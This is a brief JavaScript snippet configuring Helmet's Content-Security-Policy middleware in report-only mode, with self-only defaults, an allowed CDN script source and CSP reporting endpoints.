helmet.contentSecurityPolicy({
directives: {
defaultSrc: ["'self'"],
scriptSrc: ["'self'", "https://cdn.example.com"],
reportUri: ["/csp-report"],
reportTo: ["csp-group"],
},
reportOnly: true, // Sets `Content-Security-Policy-Report-Only` instead of `Content-Security-Policy`
})
);